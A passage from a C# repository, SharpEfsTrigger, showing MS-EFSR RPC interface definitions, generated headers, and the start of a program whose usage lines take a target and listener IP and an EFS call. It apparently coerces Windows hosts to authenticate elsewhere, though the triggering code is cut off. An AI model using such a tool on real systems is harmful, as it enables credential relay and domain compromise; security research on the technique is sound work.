_ENCRYPTION_PROTECTOR { 93 | DWORD cbTotalLength; 94 | RPC_SID* UserSid; 95 | [string] wchar_t* lpProtectorDescriptor; 96 | } ENCRYPTION_PROTECTOR, * PENCRYPTION_PROTECTOR; 97 | 98 | long EfsRpcOpenFileRaw( 99 | [in] handle_t binding_h, 100 | [out] PEXIMPORT_CONTEXT_HANDLE * hContext, 101 | [in, string] wchar_t * FileName, 102 | [in] long Flags 103 | ); 104 | 105 | long EfsRpcReadFileRaw( 106 | [in] PEXIMPORT_CONTEXT_HANDLE hContext, 107 | [out] EFS_EXIM_PIPE * EfsOutPipe 108 | ); 109 | 110 | long EfsRpcWriteFileRaw( 111 | [in] PEXIMPORT_CONTEXT_HANDLE hContext, 112 | [in] EFS_EXIM_PIPE * EfsInPipe 113 | ); 114 | 115 | void EfsRpcCloseRaw( 116 | [in, out] PEXIMPORT_CONTEXT_HANDLE * hContext 117 | ); 118 | 119 | long EfsRpcEncryptFileSrv( 120 | [in] handle_t binding_h, 121 | [in, string] wchar_t * FileName 122 | ); 123 | 124 | long EfsRpcDecryptFileSrv( 125 | [in] handle_t binding_h, 126 | [in, string] wchar_t * FileName, 127 | [in] unsigned long OpenFlag 128 | ); 129 | 130 | DWORD EfsRpcQueryUsersOnFile( 131 | [in] handle_t binding_h, 132 | [in, string] wchar_t * FileName, 133 | [out] ENCRYPTION_CERTIFICATE_HASH_LIST ** Users 134 | ); 135 | 136 | DWORD EfsRpcQueryRecoveryAgents( 137 | [in] handle_t binding_h, 138 | [in, string] wchar_t * FileName, 139 | [out] ENCRYPTION_CERTIFICATE_HASH_LIST ** RecoveryAgents 140 | ); 141 | 142 | DWORD EfsRpcRemoveUsersFromFile( 143 | [in] handle_t binding_h, 144 | [in, string] wchar_t * FileName, 145 | [in] ENCRYPTION_CERTIFICATE_HASH_LIST * Users 146 | ); 147 | 148 | DWORD EfsRpcAddUsersToFile( 149 | [in] handle_t binding_h, 150 | [in, string] wchar_t * FileName, 151 | [in] ENCRYPTION_CERTIFICATE_LIST * EncryptionCertificates 152 | ); 153 | 154 | //local only method 155 | void Opnum10NotUsedOnWire(void); 156 | 157 | DWORD EfsRpcNotSupported( 158 | [in] handle_t binding_h, 159 | [in, string] wchar_t * Reserved1, 160 | [in, string] wchar_t * Reserved2, 161 | [in] DWORD dwReserved1, 162 | [in] DWORD dwReserved2, 163 | [in, unique] EFS_RPC_BLOB * Reserved, 164 | [in] BOOL bReserved 165 | ); 166 | 167 | DWORD EfsRpcFileKeyInfo( 168 | [in] handle_t binding_h, 169 | [in, string] wchar_t * FileName, 170 | [in] DWORD InfoClass, 171 | [out] EFS_RPC_BLOB ** KeyInfo 172 | ); 173 | 174 | DWORD EfsRpcDuplicateEncryptionInfoFile( 175 | [in] handle_t binding_h, 176 | [in, string] wchar_t * SrcFileName, 177 | [in, string] wchar_t * DestFileName, 178 | [in] DWORD dwCreationDisposition, 179 | [in] DWORD dwAttributes, 180 | [in, unique] EFS_RPC_BLOB * RelativeSD, 181 | [in] BOOL bInheritHandle 182 | ); 183 | 184 | //local only method 185 | void Opnum14NotUsedOnWire(void); 186 | 187 | DWORD EfsRpcAddUsersToFileEx( 188 | [in] handle_t binding_h, 189 | [in] DWORD dwFlags, 190 | [in, unique] EFS_RPC_BLOB * Reserved, 191 | [in, string] wchar_t * FileName, 192 | [in] ENCRYPTION_CERTIFICATE_LIST * EncryptionCertificates 193 | ); 194 | 195 | DWORD EfsRpcFileKeyInfoEx( 196 | [in] handle_t binding_h, 197 | [in] DWORD dwFileKeyInfoFlags, 198 | [in, unique] EFS_RPC_BLOB * Reserved, 199 | [in, string] wchar_t * FileName, 200 | [in] DWORD InfoClass, 201 | [out] EFS_RPC_BLOB ** KeyInfo 202 | ); 203 | 204 | //local only method 205 | void Opnum17NotUsedOnWire(void); 206 | 207 | DWORD EfsRpcGetEncryptedFileMetadata( 208 | [in] handle_t binding_h, 209 | [in, string, ref] wchar_t * FileName, 210 | [out, ref] EFS_RPC_BLOB ** EfsStreamBlob 211 | ); 212 | 213 | DWORD EfsRpcSetEncryptedFileMetadata( 214 | [in] handle_t binding_h, 215 | [in, string, ref] wchar_t * FileName, 216 | [in, unique] EFS_RPC_BLOB * OldEfsStreamBlob, 217 | [in, ref] EFS_RPC_BLOB * NewEfsStreamBlob, 218 | [in, unique] ENCRYPTED_FILE_METADATA_SIGNATURE * NewEfsSignature 219 | ); 220 | 221 | DWORD EfsRpcFlushEfsCache( 222 | [in] handle_t binding_h 223 | ); 224 | 225 | long EfsRpcEncryptFileExSrv( 226 | [in] handle_t binding_h, 227 | [in, string] wchar_t* FileName, 228 | [in, string, unique] wchar_t* ProtectorDescriptor, 229 | [in] unsigned long Flags 230 | ); 231 | 232 | } 233 | 234 | -------------------------------------------------------------------------------- /SharpEfsTrigger/Midl-EFS/x64/ms-efs.h: -------------------------------------------------------------------------------- 1 | 2 | 3 | /* this ALWAYS GENERATED file contains the definitions for the interfaces */ 4 | 5 | 6 | /* File created by MIDL compiler version 8.01.0626 */ 7 | /* at Tue Jan 19 04:14:07 2038 8 | */ 9 | /* Compiler settings for ms-efs.idl: 10 | Oicf, W1, Zp8, env=Win64 (32b run), target_arch=AMD64 8.01.0626 11 | protocol : dce , ms_ext, c_ext, robust 12 | error checks: allocation ref bounds_check enum stub_data 13 | VC __declspec() decoration level: 14 | __declspec(uuid()), __declspec(selectany), __declspec(novtable) 15 | DECLSPEC_UUID(), MIDL_INTERFACE() 16 | */ 17 | /* @@MIDL_FILE_HEADING( ) */ 18 | 19 | #pragma warning( disable: 4049 ) /* more than 64k source lines */ 20 | 21 | 22 | /* verify that the version is high enough to compile this file*/ 23 | #ifndef __REQUIRED_RPCNDR_H_VERSION__ 24 | #define __REQUIRED_RPCNDR_H_VERSION__ 475 25 | #endif 26 | 27 | #include "rpc.h" 28 | #include "rpcndr.h" 29 | 30 | #ifndef __RPCNDR_H_VERSION__ 31 | #error this stub requires an updated version of 32 | #endif /* __RPCNDR_H_VERSION__ */ 33 | 34 | 35 | #ifndef __ms2Defs_h__ 36 | #define __ms2Defs_h__ 37 | 38 | #if defined(_MSC_VER) && (_MSC_VER >= 1020) 39 | #pragma once 40 | #endif 41 | 42 | #ifndef DECLSPEC_XFGVIRT 43 | #if _CONTROL_FLOW_GUARD_XFG 44 | #define DECLSPEC_XFGVIRT(base, func) __declspec(xfg_virtual(base, func)) 45 | #else 46 | #define DECLSPEC_XFGVIRT(base, func) 47 | #endif 48 | #endif 49 | 50 | /* Forward Declarations */ 51 | 52 | /* header files for imported files */ 53 | #include "ms-dtyp.h" 54 | 55 | #ifdef __cplusplus 56 | extern "C"{ 57 | #endif 58 | 59 | 60 | #ifndef __efsrpc_INTERFACE_DEFINED__ 61 | #define __efsrpc_INTERFACE_DEFINED__ 62 | 63 | /* interface efsrpc */ 64 | /* [version][uuid] */ 65 | 66 | typedef /* [context_handle] */ void *PEXIMPORT_CONTEXT_HANDLE; 67 | 68 | typedef struct pipe_EFS_EXIM_PIPE 69 | { 70 | void (__RPC_USER * pull) ( 71 | char * state, 72 | unsigned char * buf, 73 | unsigned long esize, 74 | unsigned long * ecount ); 75 | void (__RPC_USER * push) ( 76 | char * state, 77 | unsigned char * buf, 78 | unsigned long ecount ); 79 | void (__RPC_USER * alloc) ( 80 | char * state, 81 | unsigned long bsize, 82 | unsigned char * * buf, 83 | unsigned long * bcount ); 84 | char * state; 85 | } EFS_EXIM_PIPE; 86 | 87 | typedef struct _EFS_RPC_BLOB 88 | { 89 | /* [range] */ DWORD cbData; 90 | /* [size_is] */ unsigned char *bData; 91 | } EFS_RPC_BLOB; 92 | 93 | typedef struct _EFS_RPC_BLOB *PEFS_RPC_BLOB; 94 | 95 | typedef /* [public] */ struct __MIDL_efsrpc_0001 96 | { 97 | DWORD EfsVersion; 98 | } EFS_COMPATIBILITY_INFO; 99 | 100 | typedef unsigned int ALG_ID; 101 | 102 | typedef struct _EFS_HASH_BLOB 103 | { 104 | /* [range] */ DWORD cbData; 105 | /* [size_is] */ unsigned char *bData; 106 | } EFS_HASH_BLOB; 107 | 108 | typedef struct _ENCRYPTION_CERTIFICATE_HASH 109 | { 110 | DWORD cbTotalLength; 111 | RPC_SID *UserSid; 112 | EFS_HASH_BLOB *Hash; 113 | /* [string] */ wchar_t *lpDisplayInformation; 114 | } ENCRYPTION_CERTIFICATE_HASH; 115 | 116 | typedef struct _ENCRYPTION_CERTIFICATE_HASH_LIST 117 | { 118 | /* [range] */ DWORD nCert_Hash; 119 | /* [size_is][size_is] */ ENCRYPTION_CERTIFICATE_HASH **Users; 120 | } ENCRYPTION_CERTIFICATE_HASH_LIST; 121 | 122 | typedef struct _CERTIFICATE_BLOB 123 | { 124 | DWORD dwCertEncodingType; 125 | /* [range] */ DWORD cbData; 126 | /* [size_is] */ unsigned char *bData; 127 | } EFS_CERTIFICATE_BLOB; 128 | 129 | typedef struct _ENCRYPTION_CERTIFICATE 130 | { 131 | DWORD cbTotalLength; 132 | RPC_SID *UserSid; 133 | EFS_CERTIFICATE_BLOB *CertBlob; 134 | } ENCRYPTION_CERTIFICATE; 135 | 136 | typedef struct _ENCRYPTION_CERTIFICATE_LIST 137 | { 138 | /* [range] */ DWORD nUsers; 139 | /* [size_is][size_is] */ ENCRYPTION_CERTIFICATE **Users; 140 | } ENCRYPTION_CERTIFICATE_LIST; 141 | 142 | typedef struct _ENCRYPTED_FILE_METADATA_SIGNATURE 143 | { 144 | DWORD dwEfsAccessType; 145 | ENCRYPTION_CERTIFICATE_HASH_LIST *CertificatesAdded; 146 | ENCRYPTION_CERTIFICATE *EncryptionCertificate; 147 | EFS_RPC_BLOB *EfsStreamSignature; 148 | } ENCRYPTED_FILE_METADATA_SIGNATURE; 149 | 150 | typedef /* [public] */ struct __MIDL_efsrpc_0002 151 | { 152 | DWORD dwVersion; 153 | unsigned long Entropy; 154 | ALG_ID Algorithm; 155 | unsigned long KeyLength; 156 | } EFS_KEY_INFO; 157 | 158 | typedef /* [public] */ struct __MIDL_efsrpc_0003 159 | { 160 | DWORD dwDecryptionError; 161 | DWORD dwHashOffset; 162 | DWORD cbHash; 163 | } EFS_DECRYPTION_STATUS_INFO; 164 | 165 | typedef /* [public] */ struct __MIDL_efsrpc_0004 166 | { 167 | BOOL bHasCurrentKey; 168 | DWORD dwEncryptionError; 169 | } EFS_ENCRYPTION_STATUS_INFO; 170 | 171 | typedef struct _ENCRYPTION_PROTECTOR 172 | { 173 | DWORD cbTotalLength; 174 | RPC_SID *UserSid; 175 | /* [string] */ wchar_t *lpProtectorDescriptor; 176 | } ENCRYPTION_PROTECTOR; 177 | 178 | typedef struct _ENCRYPTION_PROTECTOR *PENCRYPTION_PROTECTOR; 179 | 180 | long EfsRpcOpenFileRaw( 181 | /* [in] */ handle_t binding_h, 182 | /* [out] */ PEXIMPORT_CONTEXT_HANDLE *hContext, 183 | /* [string][in] */ wchar_t *FileName, 184 | /* [in] */ long Flags); 185 | 186 | long EfsRpcReadFileRaw( 187 | /* [in] */ PEXIMPORT_CONTEXT_HANDLE hContext, 188 | /* [out] */ EFS_EXIM_PIPE *EfsOutPipe); 189 | 190 | long EfsRpcWriteFileRaw( 191 | /* [in] */ PEXIMPORT_CONTEXT_HANDLE hContext, 192 | /* [in] */ EFS_EXIM_PIPE *EfsInPipe); 193 | 194 | void EfsRpcCloseRaw( 195 | /* [out][in] */ PEXIMPORT_CONTEXT_HANDLE *hContext); 196 | 197 | long EfsRpcEncryptFileSrv( 198 | /* [in] */ handle_t binding_h, 199 | /* [string][in] */ wchar_t *FileName); 200 | 201 | long EfsRpcDecryptFileSrv( 202 | /* [in] */ handle_t binding_h, 203 | /* [string][in] */ wchar_t *FileName, 204 | /* [in] */ unsigned long OpenFlag); 205 | 206 | DWORD EfsRpcQueryUsersOnFile( 207 | /* [in] */ handle_t binding_h, 208 | /* [string][in] */ wchar_t *FileName, 209 | /* [out] */ ENCRYPTION_CERTIFICATE_HASH_LIST **Users); 210 | 211 | DWORD EfsRpcQueryRecoveryAgents( 212 | /* [in] */ handle_t binding_h, 213 | /* [string][in] */ wchar_t *FileName, 214 | /* [out] */ ENCRYPTION_CERTIFICATE_HASH_LIST **RecoveryAgents); 215 | 216 | DWORD EfsRpcRemoveUsersFromFile( 217 | /* [in] */ handle_t binding_h, 218 | /* [string][in] */ wchar_t *FileName, 219 | /* [in] */ ENCRYPTION_CERTIFICATE_HASH_LIST *Users); 220 | 221 | DWORD EfsRpcAddUsersToFile( 222 | /* [in] */ handle_t binding_h, 223 | /* [string][in] */ wchar_t *FileName, 224 | /* [in] */ ENCRYPTION_CERTIFICATE_LIST *EncryptionCertificates); 225 | 226 | void Opnum10NotUsedOnWire( 227 | /* [in] */ handle_t IDL_handle); 228 | 229 | DWORD EfsRpcNotSupported( 230 | /* [in] */ handle_t binding_h, 231 | /* [string][in] */ wchar_t *Reserved1, 232 | /* [string][in] */ wchar_t *Reserved2, 233 | /* [in] */ DWORD dwReserved1, 234 | /* [in] */ DWORD dwReserved2, 235 | /* [unique][in] */ EFS_RPC_BLOB *Reserved, 236 | /* [in] */ BOOL bReserved); 237 | 238 | DWORD EfsRpcFileKeyInfo( 239 | /* [in] */ handle_t binding_h, 240 | /* [string][in] */ wchar_t *FileName, 241 | /* [in] */ DWORD InfoClass, 242 | /* [out] */ EFS_RPC_BLOB **KeyInfo); 243 | 244 | DWORD EfsRpcDuplicateEncryptionInfoFile( 245 | /* [in] */ handle_t binding_h, 246 | /* [string][in] */ wchar_t *SrcFileName, 247 | /* [string][in] */ wchar_t *DestFileName, 248 | /* [in] */ DWORD dwCreationDisposition, 249 | /* [in] */ DWORD dwAttributes, 250 | /* [unique][in] */ EFS_RPC_BLOB *RelativeSD, 251 | /* [in] */ BOOL bInheritHandle); 252 | 253 | void Opnum14NotUsedOnWire( 254 | /* [in] */ handle_t IDL_handle); 255 | 256 | DWORD EfsRpcAddUsersToFileEx( 257 | /* [in] */ handle_t binding_h, 258 | /* [in] */ DWORD dwFlags, 259 | /* [unique][in] */ EFS_RPC_BLOB *Reserved, 260 | /* [string][in] */ wchar_t *FileName, 261 | /* [in] */ ENCRYPTION_CERTIFICATE_LIST *EncryptionCertificates); 262 | 263 | DWORD EfsRpcFileKeyInfoEx( 264 | /* [in] */ handle_t binding_h, 265 | /* [in] */ DWORD dwFileKeyInfoFlags, 266 | /* [unique][in] */ EFS_RPC_BLOB *Reserved, 267 | /* [string][in] */ wchar_t *FileName, 268 | /* [in] */ DWORD InfoClass, 269 | /* [out] */ EFS_RPC_BLOB **KeyInfo); 270 | 271 | void Opnum17NotUsedOnWire( 272 | /* [in] */ handle_t IDL_handle); 273 | 274 | DWORD EfsRpcGetEncryptedFileMetadata( 275 | /* [in] */ handle_t binding_h, 276 | /* [ref][string][in] */ wchar_t *FileName, 277 | /* [ref][out] */ EFS_RPC_BLOB **EfsStreamBlob); 278 | 279 | DWORD EfsRpcSetEncryptedFileMetadata( 280 | /* [in] */ handle_t binding_h, 281 | /* [ref][string][in] */ wchar_t *FileName, 282 | /* [unique][in] */ EFS_RPC_BLOB *OldEfsStreamBlob, 283 | /* [ref][in] */ EFS_RPC_BLOB *NewEfsStreamBlob, 284 | /* [unique][in] */ ENCRYPTED_FILE_METADATA_SIGNATURE *NewEfsSignature); 285 | 286 | DWORD EfsRpcFlushEfsCache( 287 | /* [in] */ handle_t binding_h); 288 | 289 | long EfsRpcEncryptFileExSrv( 290 | /* [in] */ handle_t binding_h, 291 | /* [string][in] */ wchar_t *FileName, 292 | /* [unique][string][in] */ wchar_t *ProtectorDescriptor, 293 | /* [in] */ unsigned long Flags); 294 | 295 | 296 | 297 | extern RPC_IF_HANDLE efsrpc_v1_0_c_ifspec; 298 | extern RPC_IF_HANDLE efsrpc_v1_0_s_ifspec; 299 | #endif /* __efsrpc_INTERFACE_DEFINED__ */ 300 | 301 | /* Additional Prototypes for ALL interfaces */ 302 | 303 | void __RPC_USER PEXIMPORT_CONTEXT_HANDLE_rundown( PEXIMPORT_CONTEXT_HANDLE ); 304 | 305 | /* end of Additional Prototypes */ 306 | 307 | #ifdef __cplusplus 308 | } 309 | #endif 310 | 311 | #endif 312 | 313 | 314 | -------------------------------------------------------------------------------- /SharpEfsTrigger/Midl-EFS/x86/ms-efs.h: -------------------------------------------------------------------------------- 1 | 2 | 3 | /* this ALWAYS GENERATED file contains the definitions for the interfaces */ 4 | 5 | 6 | /* File created by MIDL compiler version 8.01.0626 */ 7 | /* at Tue Jan 19 04:14:07 2038 8 | */ 9 | /* Compiler settings for ms-efs.idl: 10 | Oicf, W1, Zp8, env=Win32 (32b run), target_arch=X86 8.01.0626 11 | protocol : dce , ms_ext, c_ext, robust 12 | error checks: allocation ref bounds_check enum stub_data 13 | VC __declspec() decoration level: 14 | __declspec(uuid()), __declspec(selectany), __declspec(novtable) 15 | DECLSPEC_UUID(), MIDL_INTERFACE() 16 | */ 17 | /* @@MIDL_FILE_HEADING( ) */ 18 | 19 | #pragma warning( disable: 4049 ) /* more than 64k source lines */ 20 | 21 | 22 | /* verify that the version is high enough to compile this file*/ 23 | #ifndef __REQUIRED_RPCNDR_H_VERSION__ 24 | #define __REQUIRED_RPCNDR_H_VERSION__ 475 25 | #endif 26 | 27 | #include "rpc.h" 28 | #include "rpcndr.h" 29 | 30 | #ifndef __RPCNDR_H_VERSION__ 31 | #error this stub requires an updated version of 32 | #endif /* __RPCNDR_H_VERSION__ */ 33 | 34 | 35 | #ifndef __ms2Defs_h__ 36 | #define __ms2Defs_h__ 37 | 38 | #if defined(_MSC_VER) && (_MSC_VER >= 1020) 39 | #pragma once 40 | #endif 41 | 42 | #ifndef DECLSPEC_XFGVIRT 43 | #if _CONTROL_FLOW_GUARD_XFG 44 | #define DECLSPEC_XFGVIRT(base, func) __declspec(xfg_virtual(base, func)) 45 | #else 46 | #define DECLSPEC_XFGVIRT(base, func) 47 | #endif 48 | #endif 49 | 50 | /* Forward Declarations */ 51 | 52 | /* header files for imported files */ 53 | #include "ms-dtyp.h" 54 | 55 | #ifdef __cplusplus 56 | extern "C"{ 57 | #endif 58 | 59 | 60 | #ifndef __efsrpc_INTERFACE_DEFINED__ 61 | #define __efsrpc_INTERFACE_DEFINED__ 62 | 63 | /* interface efsrpc */ 64 | /* [version][uuid] */ 65 | 66 | typedef /* [context_handle] */ void *PEXIMPORT_CONTEXT_HANDLE; 67 | 68 | typedef struct pipe_EFS_EXIM_PIPE 69 | { 70 | void (__RPC_USER * pull) ( 71 | char * state, 72 | unsigned char * buf, 73 | unsigned long esize, 74 | unsigned long * ecount ); 75 | void (__RPC_USER * push) ( 76 | char * state, 77 | unsigned char * buf, 78 | unsigned long ecount ); 79 | void (__RPC_USER * alloc) ( 80 | char * state, 81 | unsigned long bsize, 82 | unsigned char * * buf, 83 | unsigned long * bcount ); 84 | char * state; 85 | } EFS_EXIM_PIPE; 86 | 87 | typedef struct _EFS_RPC_BLOB 88 | { 89 | /* [range] */ DWORD cbData; 90 | /* [size_is] */ unsigned char *bData; 91 | } EFS_RPC_BLOB; 92 | 93 | typedef struct _EFS_RPC_BLOB *PEFS_RPC_BLOB; 94 | 95 | typedef /* [public] */ struct __MIDL_efsrpc_0001 96 | { 97 | DWORD EfsVersion; 98 | } EFS_COMPATIBILITY_INFO; 99 | 100 | typedef unsigned int ALG_ID; 101 | 102 | typedef struct _EFS_HASH_BLOB 103 | { 104 | /* [range] */ DWORD cbData; 105 | /* [size_is] */ unsigned char *bData; 106 | } EFS_HASH_BLOB; 107 | 108 | typedef struct _ENCRYPTION_CERTIFICATE_HASH 109 | { 110 | DWORD cbTotalLength; 111 | RPC_SID *UserSid; 112 | EFS_HASH_BLOB *Hash; 113 | /* [string] */ wchar_t *lpDisplayInformation; 114 | } ENCRYPTION_CERTIFICATE_HASH; 115 | 116 | typedef struct _ENCRYPTION_CERTIFICATE_HASH_LIST 117 | { 118 | /* [range] */ DWORD nCert_Hash; 119 | /* [size_is][size_is] */ ENCRYPTION_CERTIFICATE_HASH **Users; 120 | } ENCRYPTION_CERTIFICATE_HASH_LIST; 121 | 122 | typedef struct _CERTIFICATE_BLOB 123 | { 124 | DWORD dwCertEncodingType; 125 | /* [range] */ DWORD cbData; 126 | /* [size_is] */ unsigned char *bData; 127 | } EFS_CERTIFICATE_BLOB; 128 | 129 | typedef struct _ENCRYPTION_CERTIFICATE 130 | { 131 | DWORD cbTotalLength; 132 | RPC_SID *UserSid; 133 | EFS_CERTIFICATE_BLOB *CertBlob; 134 | } ENCRYPTION_CERTIFICATE; 135 | 136 | typedef struct _ENCRYPTION_CERTIFICATE_LIST 137 | { 138 | /* [range] */ DWORD nUsers; 139 | /* [size_is][size_is] */ ENCRYPTION_CERTIFICATE **Users; 140 | } ENCRYPTION_CERTIFICATE_LIST; 141 | 142 | typedef struct _ENCRYPTED_FILE_METADATA_SIGNATURE 143 | { 144 | DWORD dwEfsAccessType; 145 | ENCRYPTION_CERTIFICATE_HASH_LIST *CertificatesAdded; 146 | ENCRYPTION_CERTIFICATE *EncryptionCertificate; 147 | EFS_RPC_BLOB *EfsStreamSignature; 148 | } ENCRYPTED_FILE_METADATA_SIGNATURE; 149 | 150 | typedef /* [public] */ struct __MIDL_efsrpc_0002 151 | { 152 | DWORD dwVersion; 153 | unsigned long Entropy; 154 | ALG_ID Algorithm; 155 | unsigned long KeyLength; 156 | } EFS_KEY_INFO; 157 | 158 | typedef /* [public] */ struct __MIDL_efsrpc_0003 159 | { 160 | DWORD dwDecryptionError; 161 | DWORD dwHashOffset; 162 | DWORD cbHash; 163 | } EFS_DECRYPTION_STATUS_INFO; 164 | 165 | typedef /* [public] */ struct __MIDL_efsrpc_0004 166 | { 167 | BOOL bHasCurrentKey; 168 | DWORD dwEncryptionError; 169 | } EFS_ENCRYPTION_STATUS_INFO; 170 | 171 | typedef struct _ENCRYPTION_PROTECTOR 172 | { 173 | DWORD cbTotalLength; 174 | RPC_SID *UserSid; 175 | /* [string] */ wchar_t *lpProtectorDescriptor; 176 | } ENCRYPTION_PROTECTOR; 177 | 178 | typedef struct _ENCRYPTION_PROTECTOR *PENCRYPTION_PROTECTOR; 179 | 180 | long EfsRpcOpenFileRaw( 181 | /* [in] */ handle_t binding_h, 182 | /* [out] */ PEXIMPORT_CONTEXT_HANDLE *hContext, 183 | /* [string][in] */ wchar_t *FileName, 184 | /* [in] */ long Flags); 185 | 186 | long EfsRpcReadFileRaw( 187 | /* [in] */ PEXIMPORT_CONTEXT_HANDLE hContext, 188 | /* [out] */ EFS_EXIM_PIPE *EfsOutPipe); 189 | 190 | long EfsRpcWriteFileRaw( 191 | /* [in] */ PEXIMPORT_CONTEXT_HANDLE hContext, 192 | /* [in] */ EFS_EXIM_PIPE *EfsInPipe); 193 | 194 | void EfsRpcCloseRaw( 195 | /* [out][in] */ PEXIMPORT_CONTEXT_HANDLE *hContext); 196 | 197 | long EfsRpcEncryptFileSrv( 198 | /* [in] */ handle_t binding_h, 199 | /* [string][in] */ wchar_t *FileName); 200 | 201 | long EfsRpcDecryptFileSrv( 202 | /* [in] */ handle_t binding_h, 203 | /* [string][in] */ wchar_t *FileName, 204 | /* [in] */ unsigned long OpenFlag); 205 | 206 | DWORD EfsRpcQueryUsersOnFile( 207 | /* [in] */ handle_t binding_h, 208 | /* [string][in] */ wchar_t *FileName, 209 | /* [out] */ ENCRYPTION_CERTIFICATE_HASH_LIST **Users); 210 | 211 | DWORD EfsRpcQueryRecoveryAgents( 212 | /* [in] */ handle_t binding_h, 213 | /* [string][in] */ wchar_t *FileName, 214 | /* [out] */ ENCRYPTION_CERTIFICATE_HASH_LIST **RecoveryAgents); 215 | 216 | DWORD EfsRpcRemoveUsersFromFile( 217 | /* [in] */ handle_t binding_h, 218 | /* [string][in] */ wchar_t *FileName, 219 | /* [in] */ ENCRYPTION_CERTIFICATE_HASH_LIST *Users); 220 | 221 | DWORD EfsRpcAddUsersToFile( 222 | /* [in] */ handle_t binding_h, 223 | /* [string][in] */ wchar_t *FileName, 224 | /* [in] */ ENCRYPTION_CERTIFICATE_LIST *EncryptionCertificates); 225 | 226 | void Opnum10NotUsedOnWire( 227 | /* [in] */ handle_t IDL_handle); 228 | 229 | DWORD EfsRpcNotSupported( 230 | /* [in] */ handle_t binding_h, 231 | /* [string][in] */ wchar_t *Reserved1, 232 | /* [string][in] */ wchar_t *Reserved2, 233 | /* [in] */ DWORD dwReserved1, 234 | /* [in] */ DWORD dwReserved2, 235 | /* [unique][in] */ EFS_RPC_BLOB *Reserved, 236 | /* [in] */ BOOL bReserved); 237 | 238 | DWORD EfsRpcFileKeyInfo( 239 | /* [in] */ handle_t binding_h, 240 | /* [string][in] */ wchar_t *FileName, 241 | /* [in] */ DWORD InfoClass, 242 | /* [out] */ EFS_RPC_BLOB **KeyInfo); 243 | 244 | DWORD EfsRpcDuplicateEncryptionInfoFile( 245 | /* [in] */ handle_t binding_h, 246 | /* [string][in] */ wchar_t *SrcFileName, 247 | /* [string][in] */ wchar_t *DestFileName, 248 | /* [in] */ DWORD dwCreationDisposition, 249 | /* [in] */ DWORD dwAttributes, 250 | /* [unique][in] */ EFS_RPC_BLOB *RelativeSD, 251 | /* [in] */ BOOL bInheritHandle); 252 | 253 | void Opnum14NotUsedOnWire( 254 | /* [in] */ handle_t IDL_handle); 255 | 256 | DWORD EfsRpcAddUsersToFileEx( 257 | /* [in] */ handle_t binding_h, 258 | /* [in] */ DWORD dwFlags, 259 | /* [unique][in] */ EFS_RPC_BLOB *Reserved, 260 | /* [string][in] */ wchar_t *FileName, 261 | /* [in] */ ENCRYPTION_CERTIFICATE_LIST *EncryptionCertificates); 262 | 263 | DWORD EfsRpcFileKeyInfoEx( 264 | /* [in] */ handle_t binding_h, 265 | /* [in] */ DWORD dwFileKeyInfoFlags, 266 | /* [unique][in] */ EFS_RPC_BLOB *Reserved, 267 | /* [string][in] */ wchar_t *FileName, 268 | /* [in] */ DWORD InfoClass, 269 | /* [out] */ EFS_RPC_BLOB **KeyInfo); 270 | 271 | void Opnum17NotUsedOnWire( 272 | /* [in] */ handle_t IDL_handle); 273 | 274 | DWORD EfsRpcGetEncryptedFileMetadata( 275 | /* [in] */ handle_t binding_h, 276 | /* [ref][string][in] */ wchar_t *FileName, 277 | /* [ref][out] */ EFS_RPC_BLOB **EfsStreamBlob); 278 | 279 | DWORD EfsRpcSetEncryptedFileMetadata( 280 | /* [in] */ handle_t binding_h, 281 | /* [ref][string][in] */ wchar_t *FileName, 282 | /* [unique][in] */ EFS_RPC_BLOB *OldEfsStreamBlob, 283 | /* [ref][in] */ EFS_RPC_BLOB *NewEfsStreamBlob, 284 | /* [unique][in] */ ENCRYPTED_FILE_METADATA_SIGNATURE *NewEfsSignature); 285 | 286 | DWORD EfsRpcFlushEfsCache( 287 | /* [in] */ handle_t binding_h); 288 | 289 | long EfsRpcEncryptFileExSrv( 290 | /* [in] */ handle_t binding_h, 291 | /* [string][in] */ wchar_t *FileName, 292 | /* [unique][string][in] */ wchar_t *ProtectorDescriptor, 293 | /* [in] */ unsigned long Flags); 294 | 295 | 296 | 297 | extern RPC_IF_HANDLE efsrpc_v1_0_c_ifspec; 298 | extern RPC_IF_HANDLE efsrpc_v1_0_s_ifspec; 299 | #endif /* __efsrpc_INTERFACE_DEFINED__ */ 300 | 301 | /* Additional Prototypes for ALL interfaces */ 302 | 303 | void __RPC_USER PEXIMPORT_CONTEXT_HANDLE_rundown( PEXIMPORT_CONTEXT_HANDLE ); 304 | 305 | /* end of Additional Prototypes */ 306 | 307 | #ifdef __cplusplus 308 | } 309 | #endif 310 | 311 | #endif 312 | 313 | 314 | -------------------------------------------------------------------------------- /SharpEfsTrigger/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | //https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/4a25b8e1-fd90-41b6-9301-62ed71334436 IDL for midl.exe 4 | //https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/ccc4fb75-1c86-41d7-bbc4-b278ec13bfb8 EfsRpcOpenFileRaw -- patched 5 | //https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/0d599976-758c-4dbd-ac8c-c9db2a922d76 EfsRpcEncryptFileSrv 6 | //https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/043715de-caee-402a-a61b-921743337e78 EfsRpcDecryptFileSrv 7 | //https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/cf759c00-1b90-4c33-9ace-f51c20149cea EfsRpcQueryRecoveryAgents 8 | //https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/a058dc6c-bb7e-491c-9143-a5cb1f7e7cea EfsRpcQueryUsersOnFile 9 | //https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/28609dad-5fa5-4af9-9382-18d40e3e9dec EfsRpcRemoveUsersFromFile 10 | //https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/afd56d24-3732-4477-b5cf-44cc33848d85 EfsRpcAddUsersToFile 11 | 12 | namespace SharpEfsTrigger 13 | { 14 | internal class Program 15 | { 16 | private static void Main(string[] args) 17 | { 18 | string apicall = "EfsRpcOpenFileRaw"; 19 | int result; 20 | if (args.Length < 2) 21 | { 22 | Console.WriteLine("usage: SharpEfsTriggeEfs.exe "); 23 | Console.WriteLine("usage: SharpEfsTriggeEfs.exe 192.168.1.10 192.168.1.250"); 24 | Console.WriteLine("usage: SharpEfsTriggeEfs.exe 192.168.1.10 192.168.1.250 EfsRpcEncryptFileSrv"); 25 | Console.WriteLine(@"Available API calls: 26 | EfsRpcOpenFileRaw 27 | EfsRpcEncryptFileSrv 28 | 